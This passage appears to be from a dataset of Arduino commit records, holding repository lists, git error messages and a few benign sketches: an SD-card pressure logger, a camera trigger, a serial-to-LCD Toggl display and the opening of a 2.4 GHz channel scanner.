enen\/Arduino,lukeWal\/Arduino,leftbrainstrain\/Arduino-ESP8266,myrtleTree33\/Arduino,mateuszdw\/Arduino,chaveiro\/Arduino,championswimmer\/Arduino,kidswong999\/Arduino,UDOOboard\/Arduino,shiitakeo\/Arduino,superboonie\/Arduino,me-no-dev\/Arduino-1,aichi\/Arduino-2,Cloudino\/Arduino,onovy\/Arduino,KlaasDeNys\/Arduino,koltegirish\/Arduino,steamboating\/Arduino,paulmand3l\/Arduino,rcook\/DesignLab,eduardocasarin\/Arduino,toddtreece\/esp8266-Arduino,mattvenn\/Arduino,weera00\/Arduino,acosinwork\/Arduino,garci66\/Arduino,gonium\/Arduino,NicoHood\/Arduino,zaiexx\/Arduino,shannonshsu\/Arduino,gonium\/Arduino,tskurauskas\/Arduino,xxxajk\/Arduino-1,ccoenen\/Arduino,cscenter\/Arduino,karlitxo\/Arduino,byran\/Arduino,andyvand\/Arduino-1,andyvand\/Arduino-1,danielchalef\/Arduino,me-no-dev\/Arduino-1,KlaasDeNys\/Arduino,ogferreiro\/Arduino,mboufos\/esp8266-Arduino,smily77\/Arduino,HCastano\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,majenkotech\/Arduino,andrealmeidadomingues\/Arduino,plinioseniore\/Arduino,spapadim\/Arduino,ogferreiro\/Arduino,sanyaade-iot\/Arduino-1,ashwin713\/Arduino,zederson\/Arduino,Cloudino\/Cloudino-Arduino-IDE,kidswong999\/Arduino,gurbrinder\/Arduino,lulufei\/Arduino,majenkotech\/Arduino,zenmanenergy\/Arduino,jomolinare\/Arduino,wdoganowski\/Arduino,plaintea\/esp8266-Arduino,wayoda\/Arduino,tommyli2014\/Arduino,Orthogonal-Systems\/arduino-libs,snargledorf\/Arduino,eddyst\/Arduino-SourceCode,bigjosh\/Arduino,NicoHood\/Arduino,chaveiro\/Arduino,championswimmer\/Arduino,eduardocasarin\/Arduino,ektor5\/Arduino,laylthe\/Arduino,ms-iot\/Arduino,ssvs111\/Arduino,jabezGit\/Arduino,andyvand\/Arduino-1,tskurauskas\/Arduino,tbowmo\/Arduino,acosinwork\/Arduino,Cloudino\/Arduino,jamesrob4\/Arduino,ntruchsess\/Arduino-1,acosinwork\/Arduino,zenmanenergy\/Arduino,raimohanska\/Arduino,arduino-org\/Arduino,jamesrob4\/Arduino,ms-iot\/Arduino,tannewt\/Arduino,paulmand3l\/Arduino,fungxu\/Arduino,wayoda\/Arduino,steamboating\/Arduino,majenkotech\/Arduino,gonium\/Arduino,ogahara\/Arduino,myrtleTree33\/Arduino,vbextreme\/Arduino,andyvand\/Arduino-1,shiitakeo\/Arduino,superboonie\/Arduino,piersoft\/esp8266-Arduino,zederson\/Arduino,nkolban\/Arduino,mc-hamster\/esp8266-Arduino,gberl001\/Arduino,NeuralSpaz\/Arduino,PaoloP74\/Arduino,eggfly\/arduino,gonium\/Arduino,xxxajk\/Arduino-1,eggfly\/arduino,odbol\/Arduino,Protoneer\/Arduino,byran\/Arduino,Gourav2906\/Arduino,PaintYourDragon\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,adamkh\/Arduino,spapadim\/Arduino,ogahara\/Arduino,stevemayhew\/Arduino,mboufos\/esp8266-Arduino,ThoughtWorksIoTGurgaon\/Arduino,xxxajk\/Arduino-1,ForestNymph\/Arduino_sources,EmuxEvans\/Arduino,talhaburak\/Arduino,leftbrainstrain\/Arduino-ESP8266,adafruit\/ESP8266-Arduino,jaej-dev\/Arduino,mattvenn\/Arduino,jaimemaretoli\/Arduino,jaej-dev\/Arduino,jomolinare\/Arduino,Chris--A\/Arduino,linino\/Arduino,niggor\/Arduino_cc,fungxu\/Arduino,laylthe\/Arduino,UDOOboard\/Arduino,bsmr-arduino\/Arduino,381426068\/Arduino,arunkuttiyara\/Arduino,zederson\/Arduino,probonopd\/Arduino,kidswong999\/Arduino,adafruit\/ESP8266-Arduino,tommyli2014\/Arduino,eddyst\/Arduino-SourceCode,ektor5\/Arduino,Alfredynho\/AgroSis,gestrem\/Arduino,tomkrus007\/Arduino,381426068\/Arduino,NaSymbol\/Arduino,eduardocasarin\/Arduino,ashwin713\/Arduino,PaintYourDragon\/Arduino,shannonshsu\/Arduino,byran\/Arduino,jaehong\/Xmegaduino,tbowmo\/Arduino,steamboating\/Arduino,linino\/Arduino,UDOOboard\/Arduino,rodibot\/Arduino,championswimmer\/Arduino,ForestNymph\/Arduino_sources,gurbrinder\/Arduino,zenmanenergy\/Arduino,tbowmo\/Arduino,scdls\/Arduino,stevemayhew\/Arduino,eggfly\/arduino,NicoHood\/Arduino,zenmanenergy\/Arduino,nandojve\/Arduino,leftbrainstrain\/Arduino-ESP8266,chaveiro\/Arduino,jaimemaretoli\/Arduino,mateuszdw\/Arduino,wdoganowski\/Arduino,acosinwork\/Arduino,nandojve\/Arduino,garci66\/Arduino,talhaburak\/Arduino,vbextreme\/Arduino,sanyaade-iot\/Arduino-1,SmartArduino\/Arduino-1,ntruchsess\/Arduino-1,zaiexx\/Arduino,bsmr-arduino\/Arduino,EmuxEvans\/Arduino,381426068\/Arduino,benwolfe\/esp8266-Arduino,tskurauskas\/Arduino,stevemarple\/Arduino-org,xxxajk\/Arduino-1,eduardocasarin\/Arduino,tommyli2014\/Arduino,gestrem\/Arduino,ogferreiro\/Arduino,wayoda\/Arduino,stickbreaker\/Arduino,adamkh\/Arduino,cscenter\/Arduino,lulufei\/Arduino,01org\/Arduino,ForestNymph\/Arduino_sources,xxxajk\/Arduino-1,chaveiro\/Arduino,tannewt\/Arduino,linino\/Arduino,PaintYourDragon\/Arduino,championswimmer\/Arduino,tomkrus007\/Arduino,NicoHood\/Arduino,paulmand3l\/Arduino,me-no-dev\/Arduino-1,jabezGit\/Arduino,gberl001\/Arduino,bigjosh\/Arduino,Cloudino\/Cloudino-Arduino-IDE,stickbreaker\/Arduino,01org\/Arduino,OpenDevice\/Arduino,karlitxo\/Arduino,eggfly\/arduino,rcook\/DesignLab,HCastano\/Arduino,NeuralSpaz\/Arduino,EmuxEvans\/Arduino,noahchense\/Arduino-1,jamesrob4\/Arduino,andyvand\/Arduino-1,lukeWal\/Arduino,bigjosh\/Arduino,arunkuttiyara\/Arduino,stevemarple\/Arduino-org,garci66\/Arduino,ikbelkirasan\/Arduino,pdNor\/Arduino,eggfly\/arduino,ashwin713\/Arduino,linino\/Arduino,ogferreiro\/Arduino,Gourav2906\/Arduino,damellis\/Arduino,weera00\/Arduino,KlaasDeNys\/Arduino,01org\/Arduino,arunkuttiyara\/Arduino,ricklon\/Arduino,damellis\/Arduino,karlitxo\/Arduino,NaSymbol\/Arduino,jmgonzalez00449\/Arduino,UDOOboard\/Arduino,ari-analytics\/Arduino,nandojve\/Arduino,Chris--A\/Arduino,ricklon\/Arduino,mangelajo\/Arduino,NeuralSpaz\/Arduino,lulufei\/Arduino,cscenter\/Arduino,gberl001\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,noahchense\/Arduino-1,01org\/Arduino,arduino-org\/Arduino,Cloudino\/Cloudino-Arduino-IDE,NaSymbol\/Arduino,noahchense\/Arduino-1,piersoft\/esp8266-Arduino,gestrem\/Arduino,eddyst\/Arduino-SourceCode,mattvenn\/Arduino,laylthe\/Arduino,OpenDevice\/Arduino,Cloudino\/Cloudino-Arduino-IDE,stevemarple\/Arduino-org,raimohanska\/Arduino,aichi\/Arduino-2,drpjk\/Arduino,jamesrob4\/Arduino,arduino-org\/Arduino,HCastano\/Arduino,mangelajo\/Arduino,majenkotech\/Arduino,bigjosh\/Arduino,raimohanska\/Arduino,benwolfe\/esp8266-Arduino,eddyst\/Arduino-SourceCode,mboufos\/esp8266-Arduino,NicoHood\/Arduino,scdls\/Arduino,ricklon\/Arduino,KlaasDeNys\/Arduino,mc-hamster\/esp8266-Arduino,shannonshsu\/Arduino,zaiexx\/Arduino,Chris--A\/Arduino,tannewt\/Arduino,eddyst\/Arduino-SourceCode,byran\/Arduino,eeijcea\/Arduino-1,jaehong\/Xmegaduino,cscenter\/Arduino,gberl001\/Arduino,probonopd\/Arduino,zenmanenergy\/Arduino,eeijcea\/Arduino-1,UDOOboard\/Arduino,odbol\/Arduino,nandojve\/Arduino,koltegirish\/Arduino,tomkrus007\/Arduino,henningpohl\/Arduino,tbowmo\/Arduino,jaehong\/Xmegaduino,ikbelkirasan\/Arduino,Orthogonal-Systems\/arduino-libs,paulo-raca\/ESP8266-Arduino,jabezGit\/Arduino,superboonie\/Arduino,myrtleTree33\/Arduino,arunkuttiyara\/Arduino,NaSymbol\/Arduino,HCastano\/Arduino,spapadim\/Arduino,pdNor\/Arduino,bugobliterator\/BUAGI,EmuxEvans\/Arduino,plaintea\/esp8266-Arduino,NicoHood\/Arduino,plinioseniore\/Arduino,majenkotech\/Arduino,tomkrus007\/Arduino,nkolban\/Arduino,kidswong999\/Arduino,ikbelkirasan\/Arduino,tskurauskas\/Arduino,sanyaade-iot\/Arduino-1,snargledorf\/Arduino,mboufos\/esp8266-Arduino,Ramoonus\/Arduino,jomolinare\/Arduino,koltegirish\/Arduino,sanyaade-iot\/Arduino-1,jaehong\/Xmegaduino,raimohanska\/Arduino,diydrones\/Arduino,UDOOboard\/Arduino,jomolinare\/Arduino,eddyst\/Arduino-SourceCode,me-no-dev\/Arduino-1,jomolinare\/Arduino,damellis\/Arduino,ForestNymph\/Arduino_sources,jomolinare\/Arduino,KlaasDeNys\/Arduino,damellis\/Arduino,acosinwork\/Arduino,odbol\/Arduino,PaoloP74\/Arduino,niggor\/Arduino_cc,jaehong\/Xmegaduino,NicoHood\/Arduino,arduino-org\/Arduino,scdls\/Arduino,Cloudino\/Arduino,tomkrus007\/Arduino,odbol\/Arduino,shiitakeo\/Arduino,adafruit\/ESP8266-Arduino,spapadim\/Arduino,nandojve\/Arduino,raimohanska\/Arduino,arunkuttiyara\/Arduino,lulufei\/Arduino,superboonie\/Arduino,jmgonzalez00449\/Arduino,381426068\/Arduino,andrealmeidadomingues\/Arduino,eeijcea\/Arduino-1,NeuralSpaz\/Arduino,mc-hamster\/esp8266-Arduino,rodibot\/Arduino,plinioseniore\/Arduino,Chris--A\/Arduino,ntruchsess\/Arduino-1,jaehong\/Xmegaduino,weera00\/Arduino,rodibot\/Arduino,kidswong999\/Arduino,vbextreme\/Arduino,radut\/Arduino,ogahara\/Arduino,Protoneer\/Arduino,Alfredynho\/AgroSis,tannewt\/Arduino,wdoganowski\/Arduino,ikbelkirasan\/Arduino,mateuszdw\/Arduino,mc-hamster\/esp8266-Arduino,adafruit\/ESP8266-Arduino,SmartArduino\/Arduino-1,pdNor\/Arduino,garci66\/Arduino,leftbrainstrain\/Arduino-ESP8266,shannonshsu\/Arduino,PeterVH\/Arduino,shiitakeo\/Arduino,eddyst\/Arduino-SourceCode,andrealmeidadomingues\/Arduino,rcook\/DesignLab,ikbelkirasan\/Arduino,bsmr-arduino\/Arduino,talhaburak\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,byran\/Arduino,odbol\/Arduino,aichi\/Arduino-2,vbextreme\/Arduino,gonium\/Arduino,gestrem\/Arduino,jaej-dev\/Arduino,adafruit\/ESP8266-Arduino,NaSymbol\/Arduino,ntruchsess\/Arduino-1,danielchalef\/Arduino,NaSymbol\/Arduino,karlitxo\/Arduino,diydrones\/Arduino,ccoenen\/Arduino,weera00\/Arduino,adafruit\/ESP8266-Arduino,smily77\/Arduino,bigjosh\/Arduino,tannewt\/Arduino,PaoloP74\/Arduino,mattvenn\/Arduino,jabezGit\/Arduino,plinioseniore\/Arduino,shannonshsu\/Arduino,smily77\/Arduino,arunkuttiyara\/Arduino,Ramoonus\/Arduino,noahchense\/Arduino-1,danielchalef\/Arduino,zaiexx\/Arduino,toddtreece\/esp8266-Arduino,danielchalef\/Arduino,diydrones\/Arduino,fungxu\/Arduino,ashwin713\/Arduino,OpenDevice\/Arduino,PaintYourDragon\/Arduino,byran\/Arduino,PeterVH\/Arduino,gurbrinder\/Arduino,ntruchsess\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,stevemayhew\/Arduino,henningpohl\/Arduino,381426068\/Arduino,PeterVH\/Arduino,tskurauskas\/Arduino,PeterVH\/Arduino,zaiexx\/Arduino,arduino-org\/Arduino,ccoenen\/Arduino,vbextreme\/Arduino,PaintYourDragon\/Arduino,ashwin713\/Arduino,garci66\/Arduino,rcook\/DesignLab,jmgonzalez00449\/Arduino,gurbrinder\/Arduino,shiitakeo\/Arduino,ssvs111\/Arduino,zederson\/Arduino,ms-iot\/Arduino,ccoenen\/Arduino,bsmr-arduino\/Arduino,wilhelmryan\/Arduino,chaveiro\/Arduino,radut\/Arduino,drpjk\/Arduino,nkolban\/Arduino,wayoda\/Arduino,pdNor\/Arduino,laylthe\/Arduino,ntruchsess\/Arduino-1,damellis\/Arduino,benwolfe\/esp8266-Arduino,ntruchsess\/Arduino-1,paulo-raca\/ESP8266-Arduino,smily77\/Arduino,cscenter\/Arduino,nkolban\/Arduino,gurbrinder\/Arduino,jaej-dev\/Arduino,diydrones\/Arduino,gurbrinder\/Arduino,tbowmo\/Arduino,chaveiro\/Arduino,fungxu\/Arduino,arduino-org\/Arduino,ari-analytics\/Arduino,Gourav2906\/Arduino,01org\/Arduino,odbol\/Arduino,eggfly\/arduino,laylthe\/Arduino,henningpohl\/Arduino,zederson\/Arduino,zaiexx\/Arduino,kidswong999\/Arduino,mattvenn\/Arduino,arduino-org\/Arduino,ektor5\/Arduino,Protoneer\/Arduino,spapadim\/Arduino,lulufei\/Arduino,tbowmo\/Arduino,sanyaade-iot\/Arduino-1,ashwin713\/Arduino,cscenter\/Arduino,ntruchsess\/Arduino-1,championswimmer\/Arduino,weera00\/Arduino,lukeWal\/Arduino,pdNor\/Arduino,eduardocasarin\/Arduino,karlitxo\/Arduino,381426068\/Arduino,Alfredynho\/AgroSis,ogahara\/Arduino,eeijcea\/Arduino-1,drpjk\/Arduino,rcook\/DesignLab,KlaasDeNys\/Arduino,plinioseniore\/Arduino,ari-analytics\/Arduino,ikbelkirasan\/Arduino,ektor5\/Arduino,bigjosh\/Arduino,drpjk\/Arduino,bsmr-arduino\/Arduino,mattvenn\/Arduino,tannewt\/Arduino,ccoenen\/Arduino,SmartArduino\/Arduino-1,diydrones\/Arduino,ektor5\/Arduino,KlaasDeNys\/Arduino,Ramoonus\/Arduino,Cloudino\/Arduino,jomolinare\/Arduino,jamesrob4\/Arduino,acosinwork\/Arduino,UDOOboard\/Arduino,garci66\/Arduino,nandojve\/Arduino,henningpohl\/Arduino,karlitxo\/Arduino,ssvs111\/Arduino,smily77\/Arduino,andrealmeidadomingues\/Arduino,paulmand3l\/Arduino,laylthe\/Arduino,paulmand3l\/Arduino,OpenDevice\/Arduino,wilhelmryan\/Arduino,PaoloP74\/Arduino,SmartArduino\/Arduino-1,gonium\/Arduino,tskurauskas\/Arduino,adamkh\/Arduino,kidswong999\/Arduino,stickbreaker\/Arduino,gonium\/Arduino,tomkrus007\/Arduino,eeijcea\/Arduino-1,jaimemaretoli\/Arduino,scdls\/Arduino,radut\/Arduino,mangelajo\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,Cloudino\/Arduino,laylthe\/Arduino,snargledorf\/Arduino,acosinwork\/Arduino,jmgonzalez00449\/Arduino,benwolfe\/esp8266-Arduino,noahchense\/Arduino-1,paulo-raca\/ESP8266-Arduino,toddtreece\/esp8266-Arduino,ssvs111\/Arduino,rodibot\/Arduino,pdNor\/Arduino,NeuralSpaz\/Arduino,onovy\/Arduino,ForestNymph\/Arduino_sources,onovy\/Arduino,lukeWal\/Arduino,Cloudino\/Cloudino-Arduino-IDE,majenkotech\/Arduino,PaintYourDragon\/Arduino,tbowmo\/Arduino,plaintea\/esp8266-Arduino,talhaburak\/Arduino,tskurauskas\/Arduino,paulo-raca\/ESP8266-Arduino,superboonie\/Arduino,bugobliterator\/BUAGI,Gourav2906\/Arduino,stevemayhew\/Arduino,onovy\/Arduino,nkolban\/Arduino,lukeWal\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,Gourav2906\/Arduino,lukeWal\/Arduino,lulufei\/Arduino,Chris--A\/Arduino,mc-hamster\/esp8266-Arduino,diydrones\/Arduino,talhaburak\/Arduino,NaSymbol\/Arduino,mateuszdw\/Arduino,bugobliterator\/BUAGI,fungxu\/Arduino,onovy\/Arduino,koltegirish\/Arduino,jabezGit\/Arduino,linino\/Arduino,xxxajk\/Arduino-1,EmuxEvans\/Arduino,HCastano\/Arduino,henningpohl\/Arduino,mateuszdw\/Arduino,acosinwork\/Arduino,ccoenen\/Arduino,myrtleTree33\/Arduino,Chris--A\/Arduino,jabezGit\/Arduino,ssvs111\/Arduino,radut\/Arduino,andyvand\/Arduino-1,adamkh\/Arduino,onovy\/Arduino,majenkotech\/Arduino,weera00\/Arduino,snargledorf\/Arduino,jmgonzalez00449\/Arduino,stevemarple\/Arduino-org,onovy\/Arduino","old_file":"build\/shared\/examples\/09. USB (Leonardo only)\/Keyboard\/KeyboardReprogram\/KeyboardReprogram.ino","new_file":"build\/shared\/examples\/09. USB (Leonardo only)\/Keyboard\/KeyboardReprogram\/KeyboardReprogram.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"5058600e58557558638aacf085d71c565d897a50","subject":"gac start","message":"gac start","repos":"dotsonlab\/awsc,dotsonlab\/awsc","old_file":"GAC\/GAC.ino","new_file":"GAC\/GAC.ino","new_contents":"\/*\n SD card datalogger\n\n This example shows how to log data from three analog sensors\n to an SD card using the SD library.\n\n The circuit:\n * SD card attached to SPI bus as follows:\n ** MOSI - pin 11\n ** MISO - pin 12\n ** CLK - pin 13\n ** CS - pin 10 \n\n *\/\n\n#include <SPI.h>\n#include <SD.h>\n#include <Wire.h>\n#include \"RTClib.h\"\n#include <SoftwareSerial.h> \/\/we have to include the SoftwareSerial library, or else we can't use it. \n\nconst int chipSelect = 10;\n\nunsigned long LOG_INTERVAL = 60000;\nunsigned long previousMillis = 0;\n\n\n\/\/ The analog pins that connect to the sensors\n#define PressureAnalog A1 \/\/ analog 1\n\n\/\/ define the Real Time Clock object\nRTC_PCF8523 RTC; \n\nchar sensordata[30]; \/\/we make a 48 byte character array to hold incoming data from the Flow Meter Totalizer. \nchar sensordatajunk[30];\nbyte received_from_computer=0; \/\/we need to know how many characters have been received. \nbyte sensor_bytes_received=0; \/\/we need to know how many characters have been received.\nbyte string_received=0; \/\/used to identify when we have received a string from the Flow Meter Totalizer.\nfloat f;\nchar *flotot;\n\nint PressureAnalogReading = 0;\nunsigned long PressureReadingSUM = 0;\nunsigned long readingCount = 0;\n\nvoid setup() {\n \/\/ Open serial communications and wait for port to open:\n \n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n\n\n Serial.print(\"Initializing SD card...\");\n\n \/\/ see if the card is present and can be initialized:\n if (!SD.begin(chipSelect)) {\n Serial.println(\"Card failed, or not present\");\n \/\/ don't do anything more:\n return;\n }\n Serial.println(\"card initialized.\");\n \/\/ connect to RTC\n Wire.begin(); \n}\n\nvoid loop() {\n analogRead(PressureAnalog); \n delay(10);\n\n delay(990); \n \n unsigned long currentMillis = millis();\n\n if (currentMillis - previousMillis >= LOG_INTERVAL) {\n previousMillis = currentMillis;\n \n \/\/ create a filename\n \n DateTime now;\n now = RTC.now();\n int YR = now.year();\n String YRs = String(YR,DEC);\n int MO = now.month();\n String MOs = String(MO,DEC);\n int DY = now.day();\n \/\/int DY = now.minute(); \/\/testing clear command\n String DYs = String(DY,DEC);\n String DATE = YRs + MOs + DYs;\n String filename = DATE + \".CSV\";\n \n \/\/collect data\n \/\/Average repetative current and voltage readings between sampling interval\n PressureAnalogReading = PressureReadingSUM \/ readingCount; \n float P = PressureAnalogReading \/ 102.94;\n \n delay(10); \n \n \/\/read total flow once per sampling interval\n \n delay(200);\n \n \/\/ make a string for assembling the data to log:\n String dataString = \"\";\n dataString += String(now.unixtime());dataString += \",\";\n dataString += String(P);\n \n \n \/\/ open the file. note that only one file can be open at a time,\n \/\/ so you have to close this one before opening another.\n File dataFile = SD.open(filename, FILE_WRITE);\n \n \/\/ if the file is available, write to it:\n if (dataFile) {\n dataFile.println(dataString);\n dataFile.close();\n \/\/ print to the serial port too:\n Serial.println(dataString);\n }\n \/\/ if the file isn't open, pop up an error:\n else {\n Serial.print(\"error opening \");Serial.print(filename);Serial.println(\"!\");\n }\n \n \/\/reset averaging tools if interval is met\n readingCount=0; \n PressureAnalogReading = 0;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GAC\/GAC.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3c0d6e4258c8ea5efb801627352e994240f550c6","subject":"Add Arduino program to generate camera and light trigger.","message":"Add Arduino program to generate camera and light trigger.\n","repos":"microy\/PyStereoVisionToolkit,microy\/PyStereoVisionToolkit,microy\/StereoVision,microy\/VisionToolkit,microy\/StereoVision,microy\/VisionToolkit","old_file":"Trigger.ino","new_file":"Trigger.ino","new_contents":"\n\/\/\n\/\/ Generate a 9Hz square signal to trigger camera and lightning\n\/\/\n\n\/\/ Arduino setup\nvoid setup()\n{\n \/\/ Output signal\n pinMode( 13, OUTPUT );\n}\n\n\/\/ Main loop\nvoid loop()\n{\n \/\/ High state (11ms)\n digitalWrite( 13, HIGH );\n delay( 11 );\n\n \/\/ Low state (100ms)\n digitalWrite( 13, LOW );\n delay( 100 );\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Trigger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"89294855fe9a2a3d90e74a53dc45524347ad35c1","subject":"Fix typo in a Ethernet Shield example","message":"Fix typo in a Ethernet Shield example","repos":"stickbreaker\/Arduino,vbextreme\/Arduino,tbowmo\/Arduino,Chris--A\/Arduino,niggor\/Arduino_cc,tbowmo\/Arduino,Chris--A\/Arduino,NicoHood\/Arduino,NicoHood\/Arduino,majenkotech\/Arduino,nandojve\/Arduino,NicoHood\/Arduino,majenkotech\/Arduino,me-no-dev\/Arduino-1,Chris--A\/Arduino,stickbreaker\/Arduino,vbextreme\/Arduino,niggor\/Arduino_cc,tbowmo\/Arduino,PaoloP74\/Arduino,stickbreaker\/Arduino,NicoHood\/Arduino,me-no-dev\/Arduino-1,NicoHood\/Arduino,PaoloP74\/Arduino,bsmr-arduino\/Arduino,vbextreme\/Arduino,bsmr-arduino\/Arduino,niggor\/Arduino_cc,tbowmo\/Arduino,NicoHood\/Arduino,me-no-dev\/Arduino-1,majenkotech\/Arduino,PaoloP74\/Arduino,tbowmo\/Arduino,Chris--A\/Arduino,bsmr-arduino\/Arduino,Chris--A\/Arduino,PaoloP74\/Arduino,nandojve\/Arduino,me-no-dev\/Arduino-1,niggor\/Arduino_cc,vbextreme\/Arduino,Chris--A\/Arduino,bsmr-arduino\/Arduino,majenkotech\/Arduino,bsmr-arduino\/Arduino,PaoloP74\/Arduino,bsmr-arduino\/Arduino,stickbreaker\/Arduino,me-no-dev\/Arduino-1,nandojve\/Arduino,PaoloP74\/Arduino,vbextreme\/Arduino,Chris--A\/Arduino,tbowmo\/Arduino,bsmr-arduino\/Arduino,tbowmo\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,me-no-dev\/Arduino-1,vbextreme\/Arduino,tbowmo\/Arduino,nandojve\/Arduino,niggor\/Arduino_cc,niggor\/Arduino_cc,me-no-dev\/Arduino-1,niggor\/Arduino_cc,nandojve\/Arduino,NicoHood\/Arduino,stickbreaker\/Arduino,vbextreme\/Arduino,stickbreaker\/Arduino,nandojve\/Arduino,PaoloP74\/Arduino,me-no-dev\/Arduino-1,bsmr-arduino\/Arduino,NicoHood\/Arduino,Chris--A\/Arduino,niggor\/Arduino_cc,stickbreaker\/Arduino,nandojve\/Arduino,PaoloP74\/Arduino,vbextreme\/Arduino,nandojve\/Arduino,niggor\/Arduino_cc","old_file":"libraries\/Ethernet\/examples\/WebClientRepeating\/WebClientRepeating.ino","new_file":"libraries\/Ethernet\/examples\/WebClientRepeating\/WebClientRepeating.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bsmr-arduino\/Arduino.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"83aaa079d35f74a25f13f3d08685bfa6271a63b3","subject":"test information led","message":"test information led\n","repos":"Hinaka\/-FPT-CAPSTONE-PGSS,Hinaka\/-FPT-CAPSTONE-PGSS,Hinaka\/-FPT-CAPSTONE-PGSS,Hinaka\/-FPT-CAPSTONE-PGSS,Hinaka\/-FPT-CAPSTONE-PGSS","old_file":"Arduino\/Information\/Information.ino","new_file":"Arduino\/Information\/Information.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Hinaka\/-FPT-CAPSTONE-PGSS.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"92e5ebb8677cabc2367a5dea0985a0ce5fd85ded","subject":"Update src.ino","message":"Update src.ino","repos":"AJama50\/CS207-Project","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/AJama50\/CS207-Project.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"e3058715136262d0dae406d2bac528725afb46ff","subject":"Add Arduino code","message":"Add Arduino code\n","repos":"nanonanomachine\/Arduino-Toggl","old_file":"src\/Arduino_Toggl.ino","new_file":"src\/Arduino_Toggl.ino","new_contents":"#include <LiquidCrystal.h>\n\nLiquidCrystal lcd(4, 3, 14, 15, 16, 17);\nint maxCharacterPerLine = 16;\nint nodataCount = 0;\n\nvoid setup() {\n \/\/ LCD initialize\n lcd.begin(16, 2);\n lcd.clear();\n lcd.setCursor(maxCharacterPerLine - 9,0);\n lcd.print(\"Toggl.com\");\n lcd.setCursor(maxCharacterPerLine - 12,1); \n lcd.print(\"Time Checker\");\n \n \/\/ Serial initialize\n Serial.begin(9600);\n delay(5000) ;\n}\n\nvoid loop() {\n int count = 0;\n \n \/\/ Check data received \n if(Serial.available() > 0){\n lcd.setCursor(0, 0);\n nodataCount = 0;\n }\n else if(nodataCount < 6){\n nodataCount++;\n }\n else{\n lcd.clear();\n lcd.setCursor(maxCharacterPerLine - 16,0);\n lcd.print(\"No data received\");\n lcd.setCursor(maxCharacterPerLine - 10,1);\n lcd.print(\"Waiting...\");\n }\n \n \/\/ Write data to LCD\n while (Serial.available()) {\n \/\/ Line Break\n if(count == maxCharacterPerLine * 2){\n lcd.setCursor(0,0);\n }\n else if(count == maxCharacterPerLine){\n lcd.setCursor(0,1);\n }\n lcd.write(Serial.read());\n count++;\n }\n \n delay(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Arduino_Toggl.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"07968971c85deeaf242bb95ad4636cedd459fa05","subject":"Adding a simple 2.4 GHz channel detect tool.","message":"Adding a simple 2.4 GHz channel detect tool.\n","repos":"mikaelpatel\/Cosa,jeditekunum\/Cosa,kc9jud\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,rrobinet\/Cosa,rrobinet\/Cosa,dansut\/Cosa,rrobinet\/Cosa,kc9jud\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,kc9jud\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,kc9jud\/Cosa,rrobinet\/Cosa","old_file":"examples\/Tools\/CosaRF24scanner\/CosaRF24scanner.ino","new_file":"examples\/Tools\/CosaRF24scanner\/CosaRF24scanner.ino","new_contents":"\/**\n * @file CosaRF24scanner.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2014, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * @section Description\n * Cosa 2.4 GHz Scanner using the NRF24L01P device driver.\n *\n * @section Acknowledgement\n * This tool is inspired by the Nrf24L01-Poor Man's 2.4 GHz Scanner. \n * http:\/\/arduino-info.wikispaces.com\/Nrf24L01-Poor+Man%27s+2.4+GHz+Scanner\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/RTC.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/Wireless\/Driver\/NRF24L01P.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n#include \"Cosa\/Trace.hh\"\n\n\/**\n * Extend the NRF24L01P device driver with measurement and plot of\n * received power detect. For more details see ch. 6.3 and 6.4.\n *\n * @section References\n * nRF24L01+ Product Specification (Rev. 1.0),\n * 